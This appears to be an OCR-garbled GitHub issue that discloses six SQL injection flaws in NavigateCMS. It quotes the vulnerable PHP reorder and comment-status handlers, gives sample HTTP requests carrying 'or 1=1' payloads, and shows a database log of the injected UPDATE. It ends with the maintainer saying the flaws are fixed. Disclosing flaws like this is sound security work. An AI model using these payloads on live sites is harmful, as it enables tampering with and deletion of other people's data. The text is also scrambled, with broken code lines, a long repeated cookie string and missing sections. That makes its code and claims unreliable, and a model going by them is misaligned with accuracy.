

## Vulnerability 1: block\_order injection at blocks.php

```
vulnerable code: blocks.php
     function run()
                         global $layout;
global $DB;
                         global $website;
                         $out = '';
                          $item = new block();
                          switch($_REQUEST['act'])
                                             case 'load':
                         case 'edit':
                                             case 2:
                                                                 if(!empty($_REQUEST['id']))
                                                                                    $item->load(intval($ REQUEST['id']));
                                                                 if(isset($_REQUEST['form-sent']))
                                                                                      $item->load_from_post();
                                                                                      try
                                                       naviforms::check_csrf_token();
                                                                                                        $item->save();
                                                       property::save_properties_from_post('block', $item->id);
    $id = $item->id;
                                                        // set block order if(!empty($item->type) && !empty($_REQUEST['blocks-order']))
                                                                 block::reorder($item->type, $_REQUEST['blocks-order'], $_REQUEST['blocks-order-fixed']); //step into
which triggers block.class.php
     public static function reorder($type, $order, $fixed)
                                             global $DB;
                                             global $website;
                                             $item = explode("#", $order);//explore order by '#'
                                             for($i=0; $i < count($item); $i++)
                                                                if(empty($item[$i]))
                                             continue;
                                   $block is fixed = ($fixed[$item[$i]]=='1'? '1' : '0');
                                                                 $ok = $DB->execute('
                                             UPDATE nv_blocks
                                                                                    SET position = '.($i+1).',
                                             fixed = '.$block_is_fixed.'
WHERE id = '.$item[$i].'// trigger here
                                                                                          AND website = '.$website->id
Attacker can inject in block-order through http request. A sample request traffic:
     POST /navigate/navigate.php?fid=blocks&act=edit&id=7&tab=1 HTTP/1.1
      User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
     Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5
     Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=------19568255591296620871610644291
     Content-Length: 7310
Origin: http://localhost
     Connection: close
      Referer: http://localhost/navigate/navigate.php?fid=blocks&act=edit&id&tab=1
      Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=vp8rDkw03etQUgHzT9FpieSJ5umQS6ZuLBUE2HnrfYgc4eiNLHWQdPZYVJM6;
      \label{thm:prwlfewdobthkvGdtQtdqtfzSdwcxNjA4MjgxNzg40DE2Ig%3D%3D--acb8c6e71d42560c0d4ce4741531f317312a4f8a; navigate-tinymce-scroll=%78%7D; navigate-remember-user-token-scroll=%78%7D; navigate-rem
     id=af59694d7163bd32096f6752379642aee3043fc5; navigate-remember-user-token=9%01%03%0C%C6%0B%0C%06%05%08%0E%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B%0C%0B
      navigate-language=en; PHPSESSID=17v9et2f1867j0od9hlvj990ab; NVSID_7a6b5d33_421aa90e079fa326b6494f812ad13e79=17v9et2f1867j0od9hlvj990ab
      Upgrade-Insecure-Requests: 1
            -----195682555912966620871610644291
     Content-Disposition: form-data; name="form-sent"
                             -----195682555912966620871610644291
     Content-Disposition: form-data; name="id"
                                          -----195682555912966620871610644291
     Content-Disposition: form-data; name="_nv_csrf_token'
     Content-Disposition: form-data; name="blocks-order"
```

```
125 Query UPDATE nv_blocks

SET position = 1,
fixed = 0

WHERE id = 5 or 1=1

AND website = 1

125 Query SELECT * FROM nv_blocks
WHERE id = 7

AND website = 1

125 Query SELECT subtype, lang, text
FROM nv_webdictionary
WHERE node_type = 'block'
AND node_id = '7'

125 Query SELECT block_types FROM nv_websites WHERE id = 1 LIMIT 1

125 Query SELECT COUNT(*) AS total FROM nv_blocks WHERE website = '1' AND type = 'social_links' LIMIT 1

125 Query SELECT COUNT(*) AS total FROM nv_blocks WHERE website = '1' AND type = 'home_slide' LIMIT 1

125 Query SELECT COUNT(*) AS total FROM nv_blocks WHERE website = '1' AND type = 'home_slide' LIMIT 1

125 Query SELECT SELECT
```

## Vulnerability 2: id at items.php

```
Vulnerable code item.php:
   //package/lib/packages/items/items.php
   function run()
             global $layout;
             global $website;
             global $user;
             $item = new item();
             switch($ REQUEST['act'])
                       case "change_comment_status": // change comment status
                                 if(empty($_REQUEST['id']))
                                           echo "false":
                                           core_terminate();
                                }
                                 switch($_REQUEST['opt'])
                                           case 'publish':
                                                     $DB->execute('
                                                                SET status = 0
WHERE website = '.$website->id.' AND
id = '.$_REQUEST['id']);
                                           UPDATE nv comments
                                                                SET status = 1
WHERE website = '.$website->id.' AND
                                                                          id = '.$_REQUEST['id']);
                                                     break:
                                           case 'delete':
                                                     $DB->execute('
                                                            execure(
   DELETE FROM nv_comments
   WHERE website = '.$website->id.' AND
        id = '.$_REQUEST['id']);
                                                     break:
Attacker can use a traffic similar to:
  {\tt GET\ /navigate/navigate.php?fid=items\&act=change\_comment\_status\&**id=abc\%20or\%201=1**\&opt=publish\ HTTP/1.1}
  User-Agent: Mozilla/5.0 (X11: Ubuntu: Linux x86 64: rv:71.0) Gecko/20100101 Firefox/71.0
   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
   Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
Connection: close
  Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=vp8rDkw03etQUgHzT9FpieSJ5umQS6ZuLBUE2HnrfYgc4eiNLHWQdPZYVJM6; guest_token=IkpPRWlGeWd0bThKVGdTQTdqTFZSdwcxNjA4MjgxNzg4ODE2Ig%3D%3D--acb8c6e71d42560c04dce4741531f317312a4f8a; navigate-tinymce-scroll=%7B%7D; navigate-remember-user-
  id=af59694d7163bd32096f6752379642aee3943fc5; navigate-remember-user-token=9%01%03%0C%C6%0B%0C%06b%09%16%CB%Aln%CB9a%CF%3E%0FxXD0Q%EFX%C7C%11%DB%D75%06B%1B%40+%11L%EB%2A%ABr%E1%EE%D2m%DA%B8%0233%0A%05%A8t%C7%3D%9E%FAXB4%03%C13g1%AF%E1%84%A6%5C%87%3A%08
   navigate-language=en; \ PHPSESSID=17v9et2f1867j0od9hlvj990ab; \ WSID\_7a6b5d33\_421aa90e079fa326b6494f812ad13e79=17v9et2f1867j0od9hlvj990ab \ Upgrade-Insecure-Requests: 1
  Cache-Control: max-age=0
```



Vulnerable code

```
//package/lib/packages/products/products.php
  function run()
         global $layout;
         global $DB;
global $website;
          global $theme;
         global $user;
         $out = '';
$item = new product();
         switch($_REQUEST['act'])
          {
**case 'products_order':**
             if(!empty($_POST['products-order']))
                 if(naviforms::check_csrf_token('header'))
                    // save new order
                     $response = product::reorder($_POST['products-order']);
                     if($response!==true)
                       echo $response['error'];
                     else
                        echo 'true';
                }
Then it triggers
  //package/lib/packages/products/product.class.php
     public static function reorder($order)
         global $DB;
                global $website;
                **$items = explode("#", $order);**
                 for($i=0; $i < count($items); $i++)
                        if(empty($items[$i]))
             {
                continue;
                        $ok = $DB->execute('
              );
```

## Vulnerability 4: id in products.php

Vulnerable code:

```
//package/lib/packages/products/products.php
           case "change_comment_status":
                               if(empty($_REQUEST['id']))
                                          echo "false";
                                          core_terminate();
                               switch($_REQUEST['opt'])
                                          case 'publish':
                                                    $DB->execute('
                                                               UPDATE nv_comments
                                                               SET status = 0
WHERE website = '.$website->id.' AND
id = '.$_REQUEST['id']);
                                                    break:
                                          case 'unpublish':
                                                    $DB->execute('
UPDATE nv_comments
                                                               SET status = 1
WHERE website = '.$website->id.' AND
id = '.$_REQUEST['id']);
                                                    break;
                                                    $DB->execute('
                                                              DELETE FROM nv_comments

WHERE website = '.$website->id.' AND

id = '.$_REQUEST['id']);
                                                    break;
```

Attacker can easily craft something like this to trigger the vulnerability



```
vulnerable code:
  case 2: // edit/new form
    if(!empty($_REQUEST['id']))
                    if(is_numeric($_REQUEST['id']))
                       $item->load(intval($_REQUEST['id']));
                        $item->load_from_theme($_REQUEST['id']);
                            \verb|if(isset(\$_REQUEST['form-sent'])||\\
                                    try
                        $item->load_from_post();
                        naviforms::check_csrf_token();
                                             $item->save();
if(!empty($_REQUEST['property-enabled']))
                            $enableds = array_values($_REQUEST['property-enabled']);
                            $enableds = array();
                                             property::reorder("template", $item->id, $_REQUEST['template-properties-order'], $enableds);
Then step into
  //package/lib/packages/properties/property.class.php
           public static function reorder($element, $template, $order, $enableds=NULL)
                   global $DB;
global $website;
                   **$item = explode("#", $order);**
                    for($i=0; $i < count($item); $i++)
                            if(empty($item[$i])) continue;
                            $enabled = '':
                            if(is_array($enableds))
                                     $enabled = ', enabled = 0 ';
                                     for(\$e=0; \$e < count(\$enableds); \$e++)
                                             if($enableds[$e]==$item[$i]) $enabled = ', enabled = 1 ';
                            }
                            $ok = $DB->execute('
                   Sok = $UB->execute(
UPDATE nv_properties
SET position = '.($i+1).' '.$enabled.'

**WHERE id = '.$item[$i].'**
AND website = '.$website->id
               );
```

## Vulnerability 6: children\_order at structure.php

```
Vulnerable code:
  //package/lib/packages/structure/structure.php
                   case "reorder":
    **$ok = structure::reorder($_REQUEST['parent'], $_REQUEST['children_order']);**
                            echo json_encode($ok);
                            core_terminate();
break;
Then steps into
  //package/lib/packages/structure/structure.class.php
           public static function reorder($parent, $children)
                    global $DB;
                    global $website:
                    **$children = explode("#", $children);**
                    for($i=0; $i < count($children); $i++)
                            if(empty($children[$i]))
               {
                            $ok = $DB->execute('UPDATE nv structure
                                                                                SET position = '.($i+1).'
                                                                           **WHERE id = '.$children[$i].'**
                                                                                AND parent = '.intval($parent).'
AND website = '.$website->id);
```

```
if(!$ok)
{
    return array("error" => $DB->get_last_error());
}

return true;
}

Attacker can easily craft a traffic as below to cause the injection:
http://localhost/navigate/navigate.php?fid=structure&act=reorder&parent=1&children=abc%2@or%2@1=1
```

```
NavigateCMS commented on Jul 24, 2021

Thank you!
Fixed by ed3f70b
```

NavigateCMS closed this as completed on Jul 24, 2021

Assignees
No one assigned

Labels
None yet

Projects
None yet

Milestone
No milestone
Development
No branches or pull requests

2 participants

